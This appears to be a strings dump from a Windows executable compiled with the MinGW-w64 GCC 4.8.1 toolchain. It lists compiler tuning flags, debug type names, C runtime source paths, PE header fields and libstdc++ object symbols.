X86_TUNE_SINGLE_PUSH
X86_TUNE_DOUBLE_PUSH
X86_TUNE_INTEGER_DFMODE_MOVES
X86_TUNE_PARTIAL_REG_DEPENDENCY
X86_TUNE_SSE_PARTIAL_REG_DEPENDENCY
X86_TUNE_SSE_UNALIGNED_LOAD_OPTIMAL
X86_TUNE_SSE_UNALIGNED_STORE_OPTIMAL
X86_TUNE_SSE_PACKED_SINGLE_INSN_OPTIMAL
X86_TUNE_SSE_SPLIT_REGS
X86_TUNE_SSE_TYPELESS_STORES
X86_TUNE_SSE_LOAD0_BY_PXOR
X86_TUNE_MEMORY_MISMATCH_STALL
X86_TUNE_PROLOGUE_USING_MOVE
X86_TUNE_EPILOGUE_USING_MOVE
X86_TUNE_SHIFT1
X86_TUNE_USE_FFREEP
X86_TUNE_INTER_UNIT_MOVES
X86_TUNE_INTER_UNIT_CONVERSIONS
X86_TUNE_FOUR_JUMP_LIMIT
X86_TUNE_SCHEDULE
X86_TUNE_USE_BT
X86_TUNE_USE_INCDEC
X86_TUNE_PAD_RETURNS
X86_TUNE_PAD_SHORT_FUNCTION
X86_TUNE_EXT_80387_CONSTANTS
X86_TUNE_AVOID_VECTOR_DECODE
X86_TUNE_PROMOTE_HIMODE_IMUL
X86_TUNE_SLOW_IMUL_IMM32_MEM
X86_TUNE_SLOW_IMUL_IMM8
X86_TUNE_MOVE_M1_VIA_OR
X86_TUNE_NOT_UNPAIRABLE
X86_TUNE_NOT_VECTORMODE
X86_TUNE_USE_VECTOR_FP_CONVERTS
X86_TUNE_USE_VECTOR_CONVERTS
X86_TUNE_FUSE_CMP_AND_BRANCH
X86_TUNE_OPT_AGU
X86_TUNE_VECTORIZE_DOUBLE
X86_TUNE_SOFTWARE_PREFETCHING_BENEFICIAL
X86_TUNE_AVX128_OPTIMAL
X86_TUNE_REASSOC_INT_TO_PARALLEL
X86_TUNE_REASSOC_FP_TO_PARALLEL
X86_TUNE_GENERAL_REGS_SSE_SPILL
X86_TUNE_AVOID_MEM_OPND_FOR_CMOVE
X86_TUNE_LAST
ix86_arch_indices
X86_ARCH_CMOV
X86_ARCH_CMPXCHG
X86_ARCH_CMPXCHG8B
X86_ARCH_XADD
X86_ARCH_BSWAP
X86_ARCH_LAST
signed char
long long unsigned int
complex float
complex double
complex long double
__float128
__unknown__
func_ptr
__CTOR_LIST__
__DTOR_LIST__
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/misc/mingw_matherr.c
_MINGW_INSTALL_DEBUG_MATHERR
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/misc/invalid_parameter_handler.c
unsigned int
uintptr_t
wchar_t
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
LONG_PTR
PVOID
PLONG
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
mingw_get_invalid_parameter_handler
mingw_set_invalid_parameter_handler
new_handler
handler
_imp___set_invalid_parameter_handler
_imp___get_invalid_parameter_handler
mingw_getsp.S
h:\crossdev\gccmaster\build-tdm64\runtime\mingw-w64-crt
GNU AS 2.23.2
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include/psdk_inc
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/include
crtexe.c
intrin-impl.h
_mingw.h
winnt.h
minwindef.h
basetsd.h
errhandlingapi.h
processthreadsapi.h
stdlib.h
combaseapi.h
wtypes.h
internal.h
math.h
tchar.h
ctype.h
string.h
process.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
tlssup.c
_mingw.h
minwindef.h
basetsd.h
winnt.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/include
charmax.c
combaseapi.h
wtypes.h
internal.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
mingw_helpers.c
combaseapi.h
wtypes.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
xtxtmode.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/include
atonexit.c
combaseapi.h
wtypes.h
stdlib.h
internal.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
_newmode.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
wildcard.c
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/include
combaseapi.h
wtypes.h
natstart.c
internal.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
crt_handler.c
winnt.h
minwindef.h
basetsd.h
errhandlingapi.h
combaseapi.h
wtypes.h
signal.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
cinitexe.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
dllargv.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/include
merr.c
combaseapi.h
wtypes.h
internal.h
math.h
stdio.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
pseudo-reloc.c
vadefs.h
_mingw.h
minwindef.h
basetsd.h
winnt.h
combaseapi.h
wtypes.h
stdio.h
<built-in>
stdlib.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
CRT_fp10.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
gccmain.c
combaseapi.h
wtypes.h
_mingw.h
stdlib.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
crt0_c.c
minwindef.h
winnt.h
winbase.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
gs_support.c
winnt.h
minwindef.h
basetsd.h
stdlib.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
tlsmcrt.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
tlsthrd.c
_mingw.h
minwindef.h
basetsd.h
winnt.h
minwinbase.h
stdlib.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
pseudo-reloc-list.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
pesect.c
_mingw.h
minwindef.h
basetsd.h
winnt.h
string.h
../../../../../../src/gcc-4.8.1/libgcc/config/i386
cygwin.S
../../../../../../src/gcc-4.8.1/libgcc
../../../../../../src/gcc-4.8.1/libgcc/../gcc/config/i386
c:/mingw64tdm/x86_64-w64-mingw32/include
unwind-sjlj.c
./gthr-default.h
unwind.inc
i386.h
./unwind.h
pthread.h
shmem.h
stdlib.h
O-=eK\
../../../../../../src/gcc-4.8.1/libgcc/../libgcc/config/i386
c:/mingw64tdm/x86_64-w64-mingw32/include
shmem-win32.c
_mingw.h
minwindef.h
winnt.h
malloc.h
string.h
../../../../../../src/gcc-4.8.1/libgcc/../gcc/config/i386
../../../../../../src/gcc-4.8.1/libgcc
i386.h
libgcc2.c
gbl-ctors.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/misc
mingw_matherr.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/misc
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
invalid_parameter_handler.c
_mingw.h
basetsd.h
winnt.h
combaseapi.h
wtypes.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/misc
mingw_getsp.S
mingw_getsp.S
Subsystem
CheckSum
SizeOfImage
BaseOfCode
SectionAlignment
MinorSubsystemVersion
DataDirectory
SizeOfStackCommit
ImageBase
SizeOfCode
MajorLinkerVersion
SizeOfHeapReserve
SizeOfInitializedData
SizeOfStackReserve
SizeOfHeapCommit
MinorLinkerVersion
__enative_startup_state
SizeOfUninitializedData
AddressOfEntryPoint
MajorSubsystemVersion
SizeOfHeaders
MajorOperatingSystemVersion
FileAlignment
NumberOfRvaAndSizes
ExceptionRecord
DllCharacteristics
MinorImageVersion
MinorOperatingSystemVersion
LoaderFlags
Win32VersionValue
MajorImageVersion
hDllHandle
lpreserved
dwReason
__enative_startup_state
ExceptionRecord
sSecInfo
ExceptionRecord
HighPart
pSection
TimeDateStamp
pNTHeader
Characteristics
pImageBase
VirtualAddress
iSection
stop_argument
cur_context
personality
this_context
context
.file
crtexe.c
_envp
_argv
_argc
_argret
.text
.data
.file
crtbegin.c
.text
.data
.file
main.cpp
.text
.data
.rdata
.file
eh_personality.cc
.text
.data
.rdata
.file
string-inst.cc
.text
.data
.rdata
.file
del_op.cc
__ZdlPv
.text
.data
.file
new_op.cc
__Znwj
.text
.data
.file
eh_exception.cc
.text
.data
.rdata
.file
class_type_info.cc
.text
.data
.file
.text
.data
.file
eh_call.cc
.text
.data
.file
eh_terminate.cc
.text
.data
.file
eh_catch.cc
.text
.data
.file
eh_globals.cc
.text
.data
.rdata
.file
eh_throw.cc
.text
.data
.file
eh_alloc.cc
.text
.data
.rdata
.ctors
.file
functexcept.cc
.text
.data
.rdata
.file
new_handler.cc
.text
.data
.file
bad_alloc.cc
.text
.data
.rdata
.file
pure.cc
.text
.data
.rdata
.file
tinfo.cc
.text
.data
.file
eh_term_handler.cc
.text
.data
.rdata
.file
eh_unex_handler.cc
.text
.data
.rdata
.file
bad_cast.cc
.text
.data
.rdata
.file
bad_typeid.cc
.text
.data
.rdata
.file
system_error.cc
.text
.data
.rdata
.ctors
.file
future.cc
.text
.data
.rdata
.file
functional.cc
.text
.data
.rdata
.file
stdexcept.cc
.text
.data
.file
ios_failure.cc
.text
.data
.file
regex.cc
.text
.data
.rdata
.file
vterminate.cc
.text
.data
.rd